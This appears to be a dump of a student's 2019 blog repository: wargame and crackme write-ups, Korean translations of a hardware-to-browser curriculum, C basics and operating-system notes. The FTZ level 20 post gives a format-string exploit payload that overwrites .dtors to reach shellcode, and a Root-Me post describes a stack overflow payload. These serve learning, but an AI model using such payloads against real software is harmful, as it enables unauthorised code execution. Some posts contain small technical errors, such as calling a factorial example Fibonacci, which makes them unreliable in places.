## File: _posts/2019-07-11-Pwnable32.md

---
layout: post
title: "HackerSchool FTZ, mainsource - Level20"
date: 2019-07-11 15:49:00 +0900
categories: [pwnable]
---



It's the hint of level 20. And there's a printf which looks pretty weird.  
YES. THIS is the problem which requires me to use the format string bug(FSB).

printf is the shortage of 'print format', and this function has a feature prints a string with format from a given address from parameter until '\0' which means null.  
But there's a problem when calling printf with a variable.  
The hacker can freely put the format.

# So what?

Let me say I use the format in printf.  
In order to print the format, the function will get the value from the given parameters.

As I wrote before, at the calling convention, C uses \_stdcall to give parameters.  
This means that when a function is called, the data at the top of the stack is what printf consider as arguments. (This is the reason why weird value appears if you use the format in printf without giving parameters)

Anyway, we have to know a format %n to attack with FSB.  
%n is a format which saves how many bytes are used before using %n to the given address.



The 41414141 appears when I called %x for four times.  
This means that the array 'bleh' is actually located where I try pop for three times.

# Let's just attack

Usually, attacks using FSB attacks the .dtors segment.

GCC compiler creates two segments which called before calling main and called after executing main. They are .ctors(constructor) and the .dtors(destructor).

You know, after the SFP(the EBP before calling a function), there's a RET which the address of .dtors located.

Anyway, since I'm not able to modify the value of RET, I have to change the content of .dtors.  
With the objdump, let's figure out the address of .dtors which we are gonna edit.  


8049594.  It's the address of .dtors. However, if the value of this is not 0, it executes the dtors+4!  
          So I have to attack it with shellcode(eggshell).

But the address is too big to overwrite the memory. So I have to divide it half and half.

I early mentioned that %n changes the value of the given address. Therefore the payload should be like this:  
(Any value)*4+([.dtors+4])+(Any value)*4+([.dtors+8])+(%8x)\*3+"%[address of shellcode 1 - the total bytes of printed before]c%n"+"%[address of shellcode 2 - the total bytes of printed before]c%n"

To explain each of them,  
The (Any value)\*4: To handle "%[address of shellcode 1]c" (cuz when use format, the stack pops)
The ([.dtors+4]), ([.dtors+8]): To set where %n to edit.  
And because %n saves how much bytes are used into the given address. It's the reason why I subtracted the total bytes of printed before when calling %c.
h
So I made a payload like this.

```bash
(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08"+"%8x%8x%8x"+"%[address 1]c%n"+"%[address 2]c%n"'; cat)|./attackme​
```

So I get an address with some C codes.

---

## File: _posts/2019-07-12-Reversing33.md

---
layout: post
title: "Plans"
date: 2019-07-12 23:49:00 +0900
categories: []
---

Chapter 1 of the book which I'm reading is ended.  
By answering to a person who does reverse engineering really well in my club, I got some tips from him.

But before we start, let's write down here what I've done about a month.
Crack me 1, Crack me 2, and Lena's Reverse Engineering.

By reverse-engineering them, I can learn a lot of stuff, and I'm pretty comfortable to read assembly codes now.

There's a famous website for Koreans which is called reversing.kr.  
This website has a lot of problems with various difficulties, easy to hard.

As he suggested me, now I'll solve easy crackme and easy keygen. And also I'll make the serial creating algorithms in C.

---

## File: _posts/2019-07-13-KRReversing34.md

[Binary file]

---

## File: _posts/2019-07-14-KRReversing35.md

---
layout: post
title: "스텍 프레임"
date: 2019-07-14 14:31:21 +0900
categories: [korean, reversing]
---

This post is a Korean translated version of [Stack Frame - Function Prologue](https://kim-yeon-gyu-exlock.github.io/reversing/2019/06/24/Reversing15.html), [Stack Frame - Function Epilogue](https://kim-yeon-gyu-exlock.github.io/reversing/2019/06/24/Reversing16.html).
ESP 레지스터는 스택의 윗부분을 가리키고, EBP는 스택의 바닥부분을 가리킨다.  
그리고 스택은 LIFO(Last in, First Out) 구조를 갖고있다.

아무튼 오늘은 메모리의 스택 영역과 관한 이야기를 해볼것이고, 좀 더 자세히 말하자면 스택 프레임에 대해 이야기를 나눌 예정이다.

# 그래서 그게 뭔데?

스택프레임은 로컬 변수, 파라미터(함수의 인자값), ESP대신 EBP를 통해 반환 주소를 저장하는 기법이다.  
그래서 이것들에는 함수 프롤로그와, 함수 에필로그라는것이 있다.

## 함수 프롤로그

함수가 호출되면, 함수 실행이 끝나고 난 뒤 스택의 위치를 어디로 돌릴지 저장해야 한다. 그래야 함수가 실행되기 전의 내용들을 제대로 접근 할 수 있을테니까.  
이것을 함수 프롤로그 라고 한다. 함수가 실행되면, 함수의 맨 위에는 다음과 같은것들이 있다.

```
push ebp
mov ebp, esp
```

이 명령어들을 이해하기 위해서는, 다른 함수를 위한 또 다른 공간을 스택위에 "쌓는다" 라고 이해하면 될것이다.  
먼저, 함수가 끝났을때 돌리기 위한 스택 바닥의 주소를 저장한다.  
그리고 두번째 명령어는 스택에서 가장 높았던 부분을 바닥으로 지정함으로써 새 공간을 쌓는 역할을 하게 만드는것이다.  
이것을 통해 함수는 지역변수를 가질 수 있게 된다.

## 함수 에필로그

그리고 함수가 끝났을때는, 전과 같이 복구되어야 한다. 이를 담당하는 코드는 다음과 같다.

```
mov esp, ebp
pop ebp
```

함수 프롤로그에서 ebp를 esp로 지정했기 때문에 그 반대로 esp에다가 그 값을 넣어주고, 스택에 진즉 쌓아둔 주소값(함수가 실행될때 들어간 ebp값)을 ebp에 넣어 줌으로써 원래의 스택 상태로 돌려놓는다.

---

## File: _posts/2019-07-15-KRReversing36.md

[Binary file]

---

## File: _posts/2019-07-16-KRHackathon37.md

[Binary file]

---

## File: _posts/2019-07-17-Reversing38.md

---
layout: post
title: "Reversing.kr Easy Crack writeup"
date: 2019-07-17 12:30:23 +0900
categories: [reversing]
---

# Reversing.kr ?

Reversing.kr is the one of the most famous website for Korean reversers.  
It has a lot of reversing problems including windows, linux and macOS.

Anyway, This is my first problem in the Reversing.kr.  
First up, let's download the executive file.  
You can have all the problems [here](http://reversing.kr/).

So it's a simple program which compares the password with the string that I wrote.  
  


Anyway, let's open it with the ollydbg.  
It looked like this.  
  
When I first saw this, I thought it's written in VB, but now I look again, I think it's written in C/C++, since there's not much long STUB code.

Anyway, I tried to search all the strings in this program.  
  
And as you can see in the picture, there were some codes which seem to determines whether the password is wrong or right.  
Here is the checking part.  


Well, the comments are already there because I solved it already.  
Anyway, the way I figured out the first CMP one was just guessing.  
Because the hex 61 was so friendly to me, I just filled the input field with "aaaaa", and I was able to pass the first check part.  
By trying "1234a" to "1a345", I finally figured out that it's the part whether the [argument+1] is a or not.

And now it's the second part.  
  
There's an error in the comment. It's not [argument+3]. It's [argument+2].

Because of the register pannel which was displaying "345", I thought that this part is something like

```c
strncmp([argument+2], "5y", 2);
```

And it was true. I passed this part with the argument "1a5y56789".  
Let's look at the next part.  
  
There is a part which looks very alike to the previous checking part.  
Like the previous part, because the register pannel was displaying "56789", I thought that this part is something like

```c
strncmp([argument+3], "R3versing", 9);
```

So with the "1a5yR3versing", I passed it.  
And now it's the last part.  
  
It's comparing esp+4 with hex 45, which is 'E' in ascii.  
And as you can see in the stack segment, the address esp+4 is where the argument is located.

So the payload is:

```
Ea5yR3versing
```

---

## File: _posts/2019-07-18-KRReversing39.md

---
layout: post
title: "Reversing.kr Easy Crack 라이트업"
date: 2019-07-18 9:21:00 +0900
categories: [reversing, korean]
---

This post is a Korean translated version of [Reversing.kr Easy Crack writeup](https://kim-yeon-gyu-exlock.github.io/reversing/2019/07/17/Reversing38.html).

# Reversing.kr ?

Reversing.kr 은 한국인 리버서들에게 유명한 사이트이다.
윈도우, 리눅스, 심지어는 macOS를 위한 리버싱 문제들도 준비되어있는 그런 사이트이다.

어쨌든, 오늘 풀어보는것은 Reversing.kr에서의 첫 문제다.  
일단 실행파일을 다운로드 받자.  
[이곳](http://reversing.kr/)에서 모든 문제들을 구할수 있다!

그래서 이번 문제는 내가 적은 string과 정답을 비교하는 간단한 프로그램이다.
  


올릳디버거로 열어봤더니, 다음과 같았다.  
  
처음봤을땐 VB코드인가? 싶었는데 지금 보니까 또 STUB코드가 더럽지 않은 모습을 봐서는 C/C++ 코드인것 같기도하고.. 잘 모르겠다.

어쨌든 올리디버거의 기능인 바이너리 내의 string을 찾아주는 기능으로 좀 봤더니 다음과 같았다.
  
그림에서 보는것처럼, 내가 입력한 문자열이 맞는지 틀린지 결정하는 부분의 코드가 좀 있는것같았다.  
그리고 이게 검사하는 부분이다.  


난 이미 풀었기 때문에 주석이 있고, 원래는 없다는 점을 참고하자.  
첫번째 CMP부분은 그냥 감으로 풀었다.  
16진수 61이 해커스쿨을 풀다보니 너무 나에게 친숙해서, 그냥 입력필드에 "aaaaa"를 입력했더니 첫번째 검사 부분에서 통과했다.  
"1234a" 부터 "1a345"까지 시도한 끝에, 그것이 [argument+1] 이 'a'인지 아닌지 검사하는 부분이라는것을 알았다.

그리고 이제 두번째 부분.  
  
주석에 오류가 있는데, argument+3가 아니라 argument+2이다.

레지스터 패널에서 "345"를 출력하고 있길래 대충 c에서 이런 코드겠거니 했다.

```c
strncmp([argument+2], "5y", 2);
```

그리고 맞았다. "1a5y56789"를 입력함으로써 통과했다.  
다음 부분을 보자.  
  
바로 직전의 확인 부분과 굉장히 비슷해보이는 코드가 있다.  
아까 그랬던것처럼, 레지스터 패널에서 "56789"를 보아서, 대충 이런 코드인가 싶었다.

```c
strncmp([argument+3], "R3versing", 9);
```

그래서 "1a5yR3versing"을 입력했을때 이번 검사를 통과 할 수 있었다.  
이제 마지막 부분이다!  
  
esp+4와 16진수 45, 그러니까 아스키로 'E'를 비교하고있다.  
스택 영역에서 볼 수 있듯, esp+4 는 내가 입력한 문자열이 있는곳이다. 그러니 페이로드는 다음과 같다.

```
Ea5yR3versing
```

---

## File: _posts/2019-07-19-Reversing40.md

---
layout: post
title: "Reversing.kr Easy Crack in C"
date: 2019-07-19 16:56:24 +0900
categories: [reversing]
---

[After I solve the EasyCrack](https://kim-yeon-gyu-exlock.github.io/reversing/2019/07/17/Reversing38.html), I thought it would be nice if I make a C copy version of it.  
So I made it with the same algorithm which EasyCrack uses.

```c
#include <string.h>
#include <stdlib.h>

void RaiseWrong() {
	printf("Incorrect Password");
	exit(0);
}

int main(int argc, char **argv) {
	if(argc == 1){
		printf("The numbers of argument should be more than 2");
		return 0;
	}
	if(argv[1][1] != 'a')
		RaiseWrong();
	if(strncmp(&argv[1][2], "5y", 2))
		RaiseWrong();
	if(strcmp(&argv[1][4], "R3versing"))
		RaiseWrong();
	if(argv[1][0] != 'E')
		RaiseWrong();
	printf("Congratulation !!");
	return 0;
}
```

So this is what it looks like.

---

## File: _posts/2019-07-20-KRReview41.md

[Binary file]

---

## File: _posts/2019-07-21-C42.md

---
layout: post
title: "C basics series 1 - Function"
date: 2019-07-21 11:47:24 +0900
categories: [c]
---

[After I solve the EasyCrack](https://kim-yeon-gyu-exlock.github.io/reversing/2019/07/17/Reversing38.html), I thought it would be nice if I make a C copy version of it.  
So I made it with the same algorithm which EasyCrack uses.

```c
#include <string.h>
#include <stdlib.h>

void RaiseWrong() {
	printf("Incorrect Password");
	exit(0);
}

int main(int argc, char **argv) {
	if(argc == 1){
		printf("The numbers of argument should be more than 2");
		return 0;
	}
	if(argv[1][1] != 'a')
		RaiseWrong();
	if(strncmp(&argv[1][2], "5y", 2))
		RaiseWrong();
	if(strcmp(&argv[1][4], "R3versing"))
		RaiseWrong();
	if(argv[1][0] != 'E')
		RaiseWrong();
	printf("Congratulation !!");
	return 0;
}
```

So this is what it looks like.  
  
  

To explain the memory structure, I'll post about some C basics about three to four days

# What is function?

You may hear of function in your math class.  
It's also pretty similar in programming.

**"A box that returns output by an input"**

This will be the concept you learn from a math class.  
In programming, the input can be none, and the output can be none.

In math, the output weighs a lot, but function in programming, the output can be meaningless or nothing. Sometimes some functions weighs more on process than the output.

The examples of functions in C are printf, scanf, gets which are defined in header file stdio.h.

# Reason to use

Let me say a boy, exlock got an homework to memorize some words.  
Exlock wanted to make a program which can help him to memorize words.

He started to make a simple program which shows the spelling of it and gets input from the user the meaning of it.

And he wanted to make a feature that saves **what was wrong, what was right**. Also even if the user exits the program after the program is completely executed, he wanted to write codes that does the same thing.(**What was wrong, what was right**)

And exlock got curiosity.

> Do I have to write same codes for twice? Then, If I have to change the codes of it, do I have to modify them for twice?

In this case, function can be a great solution of it.

# The usage of function

## How to define it

There are two ways to make a function.  
One way is to make a prototype of a function before the main is defined, and the other way is to write the whole code before the main.

So this is the way #1:

```c
#include <stdio.h>

void save();

int main(){
    return 0;
}

void save(){
    //저장시키는코드
    printf("saved\n");
}
```

And this is the way #2:

```c
#include <stdio.h>

void save(){
    //저장시키는코드
    printf("saved\n");
}



int main(){
    return 0;
}
```

A function can be defined with this syntax.

<type> <name>(){
<content>
return <content to return>;
}

So there are four kinds of functions, and they are:

With arguments and return:

```c
#include <stdio.h>

int temp(int a){
    return a+3;
}

int main(){
    return 0;
}
```

With arguments but without return:

```c
#include <stdio.h>

void temp(int a){
    printf("%d", a);
}

int main(){
    return 0;
}
```

With arguments, but without return:

```c
#include <stdio.h>

void temp(int a){
    printf("%d", a);
}

int main(){
    return 0;
}
```

Without arguments, but with return:

```c
#include <stdio.h>

int temp(){
    return 55;
}

int main(){
    return 0;
}
```

Without arguments and return:

```c
#include <stdio.h>

void temp(){
}

int main(){
    return 0;
}
```

## Usage

Then how to use it? We already know the answer, to be honest.  
();
The example would be:

```c
printf("Hello world");
```

## Global Variable, Local Variable

I'll give you a simple quiz.

```c
#include <stdio.h>

void temp(){
    printf("%d", a);
}

int main(){
    int a=3;
    return 0;
}
```

Will this code work?  
The answer is: No.

Because the variable a is a local variable of the function main, but where printf executed is not in main.

Then how to make a variable which can be accessed from both main and temp?

Here comes the global function.

```c
#include <stdio.h>
int a=3;

void temp(){
    printf("%d", a);
}

int main(){
    printf("%d", a);
    return 0;
}
```

## Recursive function

A function that calls itself until the conditions that I want is correct is called recursive function.

It's better to understand which the codes, so I'll give you the code which prints the fibonacci numbers.

```c
#include <stdio.h>

int factorial(int n)
{
    if (!n)
        return 1;
    return n * factorial(n - 1);
}

int main(void)
{
    printf("%d", factorial(3));
    return 0;
}
```

---

## File: _posts/2019-08-26-Pwnable43.md

---
layout: post
title: "ROOT-ME: STACK BUFFER OVERFLOW BASIC 1"
date: 2019-08-26 22:57:00 +0900
categories: [pwnable]
---

```c
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>

int main()
{

  int var;
  int check = 0x04030201;
  char buf[40];

  fgets(buf,45,stdin);

  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);

  if ((check != 0x04030201) && (check != 0xdeadbeef))
    printf ("\nYou are on the right way!\n");

  if (check == 0xdeadbeef)
   {
     printf("Yeah dude! You win!\nOpening your shell...\n");
     setreuid(geteuid(), geteuid());
     system("/bin/bash");
     printf("Shell closed! Bye.\n");
   }
   return 0;
}
```

It's the source code of it.  
And in the stack, it will be located like:

[buf][check]  
[var]

And in the fgets function, it receives the user's input as the size of 45 bytes, while the size of buf is 40.

So the payload is super easy, just to fill all the buf and put the deadbeef after it!

---

## File: _posts/2019-08-27-Hacakthon44.md

---
layout: post
title: "Review of Samsung SDS hackathon"
date: 2019-08-27 23:40:00 +0900
categories: [hackathon]
---

I passed the preliminaries as the additional passer.  
I know it's a bit late to write this today because it was held in the first week of August.
I don't have many things to say about this hackathon since I haven't got the prize, unlike the sunrin hackathon.  
I heard from my friend that the winner of this hackathon got the Samsung galaxy tab 5e.  
Anyway, what's important is not a prize, right? The most important thing is experience.

What our team designed to build was to make a smart grid system that is applicable to all the classes.  
We made a smart plug which is controlled by an Arduino's sensor, and also with the camera, we have designed the feature to detect human by the camera, with the object recognition artificial intelligence, YOLO.
However, it turned out that the wifi module that we've got was a defective product, which means we're not able to connect our Arduino with the backend API server, which I developed.

Because we were not able to demonstrate what we built, we were not allowed to go to the final round.  
One thing that I thought it's meaningful is that it was my first try to make a presentation on the hackathon.  
Honestly, I really wanted to make a presentation since I like to talk in front of the public.  
I have got complimented from my friends like "You did very well", and the moment that I made a presentation, is a moment that is a really unforgettable moment for me, for sure.

Anyway, I think it's time to focus on to study hacking since I haven't much studied about that.

---

## File: _posts/2019-08-28-Plans45.md

---
layout: post
title: "Things to do in September"
date: 2019-08-28 23:40:00 +0900
categories: [Plans]
---

To apologize to me, to cheer me up, I thought that I have to make plans for the next month to spend a month very effectively.  
So these are the things that I'm planning to do in September, which is the next month.

- Easy Keygen
- Lord Of Buffer overflow
- Solve Code Engn RCE to level 10

---

## File: _posts/2019-08-29-Translation46.md

[Binary file]

---

## File: _posts/2019-08-30-Translation47.md

---
layout: post
title: "트랜지스터에서 웹 브라우저까지: 지오핫 글 번역: 2편"
date: 2019-08-30 13:20:00 +0900
categories: [translation]
---

I translated the content of [this markdown](https://github.com/geohot/fromthetransistor), if you think that there's any problem with this post, such as the licensing problems, contact me to code.yeon.gyu@gmail.com, so I can help you.

## 섹션 2: 워밍업: 하드웨어가 무슨 언어로 작성되어있나? -- 0.5 주

- LED 깜빡이기(Verilog, 10) -- 당신의 첫 프로그램입니다! 시뮬레이터가 작동하도록하는것을 배우고, 베릴로그에 대해 배웁니다.
- UART(범용 비 동기화 송수신기)만들기(Verilog, 100) -- 베릴로그의 입문 단계입니다. 진짜 UART를 복제하고, MMIO(메모리 맵 입출력)의 개념에 대해 소개합니다. 비록 시리얼 포트가 세미호스팅이긴 하지만요.(세미호스팅이란 ARM을 대상으로 한 코드가 디버거를 돌리는 호스트 컴퓨터에서 입출력장비를 사용할수 있게 해주는 메커니즘을 말합니다.) 시리얼을 테스트하는 프로그램과 led를 조절하는 프로그램을 만듭니다.

## 섹션 3: 프로세서: 그래서 프로세서가 뭔데? -- 3 주

- 어셈블러 코딩하기(Python, 500) -- 단순하고 지루한 어셈블러를 파이썬에서 작성합니다. CPU제작과 함께 병렬적으로 합니다. ARM 어셈블리를 가르쳐 줄것입니다. 처음의 결과물들은 그저 이진파일이겠지만, 당신이 링커를 작성하면 달라집니다.
- ARM7 CPU제작 (Verilog, 1500) -- 이건 하위 단계로 나누세요. 간단한 파이프라인에서 시작해서, decode, fetch, 실행까지요. 우리는 얼마나 많은 BRAM(블럭 램)을 갖고있을까요? 최소한 1MB이고, DDR로는 어려울거같고, 아마 SRAM일겁니다. 시뮬레이션 가능하고 합쳐지는게 가능하죠(synthesizable).
- 부트롬 코딩(Assembler, 40) -- 이것은 코드를 램에 시리얼 포트를 통해 다운로드 하는것을 가능하게 해주고, FPGA이미지로 구워집니다. 귀여운 테스트용 프로그램들은 여기서 작동할것이에요.

---

## File: _posts/2019-08-31-Translation48.md

---
layout: post
title: "트랜지스터에서 웹 브라우저까지: 지오핫 글 번역: 3편"
date: 2019-08-31 11:03:00 +0900
categories: [translation]
---

I translated the content of [this markdown](https://github.com/geohot/fromthetransistor), if you think that there's any problem with this post, such as the licensing problems, contact me to code.yeon.gyu@gmail.com, so I can help you.

#### 섹션 4: 컴파일러: 고수준 프로그래밍 언어 -- 3 주

- C언어 컴파일러 만들기(Haskell, 2000) -- 조금 더 재밌는 과정입니다. 이 과정을 통해 컴파일러의 기초적인 설계에 대해 공부 할 수 있게 됩니다. 하스켈로 작성하도록 합니다. 파서를 작성하도록 합니다. 이것을 서브챕터로 나누세요. 결과물이 ARM 어셈블리로 나옵니다.
- 링커 만들기(Python, 300) -- 당신이 똑똑하다면, 하루정도 걸릴겁니다. ELF파일이 출력값으로 나옵니다. QEMU와 테스트 하는데 사용해요, 세미호스팅으로요.
- libc + malloc(C, 500) -- 복잡한 프로그램을 위한 관문입니다. 여기서 Libc는 절반만 구현합니다. memcpy나 memset, printf같은걸요. 그치만 시스템콜 wrapper는 만들지 않습니다.
- 이더넷 컨트롤러 제작(Verilog, 200) -- 진짜 PHY(이더넷 물리 계층)에 접근합니다, MMIO 설게를 매우 조심스럽게 고려하면서요.
- 부트로더 작성(C, 300) -- UDP를 통한 통신을 하는 이더넷 프로그램을 부트로더에 작성합니다. C로 짜여질것입니다. Maybe don’t redownload over serial each time and embed in FPGA image. (해석 실패...)

---

## File: _posts/2019-09-01-Translation49.md

[Binary file]

---

## File: _posts/2019-09-02-Translation50.md

---
layout: post
title: "트랜지스터에서 웹 브라우저까지: 지오핫 글 번역: 5편"
date: 2019-09-02 15:56:00 +0900
categories: [Plans]
---

I translated the content of [this markdown](https://github.com/geohot/fromthetransistor), if you think that there's any problem with this post, such as the licensing problems, contact me to code.yeon.gyu@gmail.com, so I can help you.

#### 섹션 6: 브라우저: 온라인으로 갑시다 -- 1 주

- TCP 스택 제작(C, 500) -- 아마 커널에서 코딩될것입니다. 커널안의 이더넷 드라이버와 통합합니다. 네트워킹 시스템콜에 대한 지원을 커널에 추가합니다. (send, recv, bind, connect)
- telnetd, 멀티프로세서가 되는것의 힘(C, 50) -- 씨로 작성되어, 사용자는 텔넷을 통해 여러번 접속 할 수 있습니다. 진짜 그냥 bind shell이에요.
- 공간 절약 dyanamic linking(C, 300) -- 왜냐하면 우리는 dynamic linker가 어떻게 그저 사용자 영역 프로그램인지 설명 할 수 있기 때문입니다. 링커에 대한 수정이 필요해요.
- 웹에 대해 다룹시다(C, 500+) -- 멋있는 터미널과 ANSI를 사용한 좋은 텍스트 기반 웹브라우저를 만듭니다. 동적으로 연결되어있고 당신이 원하는 만큼 좋습니다.

---

## File: _posts/2019-09-03-Translation51.md

[Binary file]

---

## File: _posts/2019-09-04-apue52.md

[Binary file]

---

## File: _posts/2019-09-18-python53.md

[Binary file]

---

## File: _posts/2019-09-19-apue54.md

[Binary file]

---

## File: _posts/2019-09-22-operating55.md

[Binary file]

---

## File: _posts/2019-09-24-operating56.md

[Binary file]

---

## File: _posts/2019-10-1-operating65.md

---
layout: post
title: operating system concepts - interrupts 3
date: 2019-10-1 11:40:46 +0900
categories: [operating_system]
---

다음은 인텔 프로세서들의 **인터럽트 벡터 설계도**다.

| 벡터 숫자 |                  설명                  |
|:---------:|:--------------------------------------:|
|     0     |               나누기 오류              |
|     1     |            디버그 예외 상황            |
|     2     |             null interrupt             |
|     3     |             브레이크 포인트            |
|     4     |        INTO-detected 오버플로우        |
|     5     |          bound range exception         |
|     6     |             invalid opcode             |
|     7     |          device not available          |
|     8     |              double fault              |
|     9     | coprocessor segment overrun (reserved) |
|     10    |       invalid task state segment       |
|     11    |           segment not present          |
|     12    |               stack fault              |
|     13    |           general protection           |
|     14    |               page fault               |
|     15    |      (Intel reserved, do not use)      |
|     16    |          floating-point error          |
|     17    |             alignment check            |
|     18    |              machine check             |
|   19-31   |      (Intel reserved, do not use)      |
|   32-255  |           maskable interrupts          |

인터럽트의 종류를 나눔과 동시에 중요도를 다루기 위해 이러한 벡터 숫자를 사용한다.
- 그래서 CPU는 모든 종류의 인터럽트를 감추는것(masking) 없이 높은 중요도의 인터럽트가 낮은 중요도의 인터럽트를 선점할 수 있도록 해준다.  
저번시간에 nonmaskable interrupt와 maskable interrupt에 대해 다뤘는데,
0부터 31까지의 벡터숫자를 가진 인터럽트들은 여러 오류상황을 의미하는데 사용되는 nonmaskable interrupts 이며, 32부터 255까지는 기기에서 만들어진 인터럽트들을 위해 사용된다.  

그래서 여태까지 인터럽트에 대해 다룬 내용을 요약하자면, 인터럽트는 현대의 운영체제 시스템에서 비동기적인 이벤트를 처리하는데 사용되고, 디바이스 컨트롤러와 하드웨어들은 이러한 인터럽트를 발생시킨다.  
가장 중요한 일을 가장 먼저 처리해야하기떄문에, 현대의 컴퓨팅 시스템에서는 인터럽트 중요도 시스템을 사용한다.
인터럽트들은 아주 시간에 민감한 과정이기때문에 효율적인 인터럽트 처리는 시스템의 성능을 위해서 요구된다.

---

## File: _posts/2019-10-1-operating66.md

---
layout: post
title: operating system concepts - storage structure
date: 2019-10-1 11:44:17 +0900
categories: [operating_system]
---

# 저장장치 구조

## 프롤로그
현대의 컴퓨터는 **폰노이만식 구조**를 사용한다. 이 구조에서 실행되는 **모든 프로그램은 메모리위에 있어야**한다.  
프로그램은 명령어들의 집합이다. 프로그램을 실행할때 CPU는 명령어 하나하나를 메모리에서부터 읽어와 명령어 레지스터에 저장하고, 결과값도 메모리에 저장한다.  
이러한 방식들을 구현하기 위해 모든 메모리의 byte들은 각자의 주소값을 갖고있다.
 
여담으로, 메모리 유닛은 메모리주소의 흐름만을 볼 뿐이라는점을 알아 둘 필요가 있는데, 왜냐하면 메모리유닛은 그 흐름들이 명령어 카운터에 의해서 생겼는지, 인덱싱에 의해서 생겼는지 전혀 모르기 때문이다.  
따라서 메모리주소가 어떻게 프로그램에 의해 만들어졌는지는 무시 할 수 있다. 유일한 관심사는 실행중인 프로그램에 의해 만들어진 메모리의 순열뿐이다. 

어찌되었던, 이러한 내용을 구현하기 위해 어떤 종류의 메모리들이 사용되며, 그들은 어떤 이유로 해당 용도에 사용될까?

## 메모리 종류
일단 메모리는 다음과 같이 두가지로 구분 할 수 있다.
- 휘발성 메모리(Volatile Memory)
- 비 휘발성 메모리(Nonvolatile Memory)
	- 기계적 방식: Hard-Drive Disk(HDD)
	- 전자기적 방식: NonVolatile Disk(NVM)

### 주기억 장치
보통 RAM(Random Access Memory)이라고도 불리는 주기억장치에서 프로그램을 돌린다.
	- 보통 DRAM(Dynamic Random Access Memory) 이라는 기술로 이뤄진 반도체이다.
	- **휘발성이 있어, 껐다 키면 사라진다.**

껐다 켰을때 사라지면, 운영체제를 부팅시키기 위한 필수요소 같은 내용들은 어떻게할까? 비 휘발성 메모리도 필요하지 않겠는가?

이들은 ROM(Read Only Memory)이라고 불린다.
- **비휘발성**이다.
- 이름처럼 READ ONLY라고 해서 데이터를 지우거나 다시 쓰는것이 불가능한것은 아니고, 속도가 느리다.
- 자주 수정되지 않는 정적인데이터가 자주 들어간다.
	- 예를들어, 아이폰은 ROM을 시리얼넘버, 하드웨어 정보를 담는데 사용한다.  ### 보조기억 장치
모든 데이터와 프로그램을 주기억 장치에 영원히 넣고싶어도, 휘발성 문제, 메모리 크기의 문제로 불가능하다. 그래서 그러한 용도를 위해 보조기억장치가 필요하다.
그래서 대부분의 컴퓨터는 보조기억장치를 사용한다.  
프로그램들은 메모리에 로드되기 전까지 보조기억장치에 저장된다.  
보조기억장치는 주기억장치보다 느리지만 크기가 크고, 비휘발성이다.  

계속 언급되는 비휘발성 메모리에는 두가지 종류가 있다.
- 기계식
	- Hard Disk Drive(HDD)
- 전자기적방식
	- Nonvolatile memory(NVM)
		- FRAM, NRAM, SSD

아까 위에서 보조기억장치가 주기억장치보다 느리다고 언급했는데, 그래서 보조기억장치를 적절히 관리하는것은 컴퓨터 시스템에 있어 중요하다.

메모리들은 다음과 같은 종류들이 있다.

밑으로 갈수록 속도는 느려지지만, 용량은 커진다.

registers  
cache  
main memory  
[위에는 휘발성]  
nonvolatile memory  
hard disk drives  
optical disk  
magnetic tapes  

registers부터 nonvolatile memory까지는 반도체기반의 전자기적 장치로서 구성된 메모리이다.

---

## File: _posts/2019-10-1-operating67.md

[Binary file]

---

## File: _posts/2019-10-10-linux71.md

[Binary file]

---

## File: _posts/2019-10-12-linux72.md

---
layout: post
title: How to deep into Linux Development
date: 2019-10-12 12:40:9 +0900
categories: [unix, linux, programming]
---

# Why you wrote this?

내가 구글링 실력이 부족한 탓일까, 한국어로는 기대도 하지않고, 영어로 `Linux Kernel Development`  를 아무리 쳐보아도, 얻을수있는 정보중에서 가장 도움이 될만한 내용은 <https://kernelnewbies.org> 정도 뿐이다. 그 외에는 Operating System Concepts, Linux Kernel Development와 같은 책 추천정도? [그리고 이런 사람이 한국에만 있는건 아닌거같다.](https://stackoverflow.com/questions/8865731/how-to-get-started-with-linux-kernel-development/12818021)

물론 `kernelnewbies`는 훌륭한 사이트이다. 독자의 수준을 C정도밖에 모르는 초심자라고 가정하기에, [튜토리얼 페이지](https://kernelnewbies.org/FirstKernelPatch)에서는 리눅스 배포판 설치부터 git, 커널 빌드, 그리고 훌륭한 패치(커밋)를 작성하는 방법에 대해서도 알려준다. 또, 이렇게 커널 개발에 흥미가 있는 독자들을 위해 [커널 개발이 어떤것인지](https://kernelnewbies.org/KernelDevViewpoint), [서브 시스템](https://kernelnewbies.org/Documentation/Subsystems)들은 뭐가 있는지 등, 진짜 이만한 사이트는 더 없다고 생각한다.

위에서 언급된 '공룡책' 이라 불리는 Operating System Concepts 라던가, Advanced Programming in the UNIX Environment, CSAPP 과 같은 책들을 읽어보고 있음에도 아직 뭘 어떻게 해야 할 지 전혀 감이 오지 않는다. 이 책들은 지금 이미 구현되어있는 리눅스 시스템(그외의 다른 운영체제)이 어떻게 돌아가는지에 대해 다루는것이라 좀 추상적이다.

즉, 정리하자면 검색을 통해 얻을 수 있는 정보들은 `기반이 되는 지식을 얻는 방법`, 혹은 `커널에 기여하기 위해 알아야할것들(git과 같은 도구의 사용법)` 정도 뿐이다. 

그런데 그 '소스들을 이해하기 위해서는 어떤것부터 읽기를 시작해야 하는가'에 대한 내용이 없다. 좀 더 명확히 말하자면, 리눅스 커널 개발을 위한 지식들을 어디서 쌓아야 할지를 모른다는거다. '드라이버를 공부하고싶은데 어떻게 공부해야하지?' '파일 시스템 부분을 공부하고 싶은데 어떻게 공부해야하지?' 이런 질문들 말이다. 무작정 소스코드를 읽기에는 어디를 읽어야 할 지도 모르겠고, 설령 읽는다고 하더라도 나의 경우는 그 기반 지식이 없는거같더라.

생각 해 봐라. 어떤 사람이 스마트폰 개발을 하는데 메인보드의 회로도와 모든 부품들을 오픈소스를 공개했다고 해서 아무런 기반 지식없이 이해하고 수정하는게 가능하겠는가?

그래서, 이 글에서는 리눅스 커널 개발에 입문 할 수 있을만큼의 기반지식을 쌓는 방법에 대해 인터넷에서 찾은 내용들을 정리해보았다.

추가적으로 공부하면서 특정 서브시스템을 공부하게 된다면 어디서부터 접근해야하는지에 대한 글들도 업로드 하도록 하겠다.

# 책?

작성자인 나도 이제야 입문하며 정리하는 단계이므로, 틀린 내용들이 있을 수 있다!

일단 KernelNewbies의 [첫 커널 패치](https://kernelnewbies.org/FirstKernelPatch)는 꼭 읽어보도록 하자. 메일 클라이언트 셋업과 같은 환경 설정들을 하는 법을 알려준다.

## 운영체제론 + 

